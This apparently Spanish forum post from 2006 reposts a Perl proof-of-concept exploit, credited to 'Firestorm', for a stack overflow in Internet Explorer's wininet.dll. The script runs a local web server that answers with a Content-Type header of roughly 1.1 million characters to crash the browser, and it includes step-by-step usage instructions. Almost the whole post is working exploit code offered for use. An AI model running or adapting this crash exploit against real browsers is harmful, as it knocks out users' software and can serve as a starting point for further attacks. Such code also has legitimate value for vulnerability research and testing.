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Enviado por OeX el Lu, 24/07/2006 - 09:47.
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#!/usr/bin/perl
# Stack overflow in wininet.dll while parsing huge( > ~1M) Content-Type response
# ex.: Unhandled exception at 0x771c00ee in IEXPLORE.EXE: 0xC00000FD: Stack overflow.
#
# discovered by Firestorm
#
# Usage:
# 1) run this code
# 2) open http://127.0.0.1/ with IE
#
use IO::Socket;
my $sock=new IO::Socket::INET (Listen => 1,
LocalAddr => 'localhost',
LocalPort => 80,
Proto => 'tcp');
die unless $sock;
$huge="A" x 1100000;
$|=1;
print ">http server started on port 80... try 'iexplore http://127.0.0.1/' ";
$z=$sock->accept();
print ">connection! ";
do
{
$ln=<$z>;
print $ln;
chomp $ln;
if (($ln eq "")||($ln eq " ")||($ln eq " "))
{
print ">sending response ";
print $z "HTTP/1.1 200 OK
Server: X3 1.0
Content-Type: $huge
Connection: close
done";
close($z);
exit;
}
} while (true);
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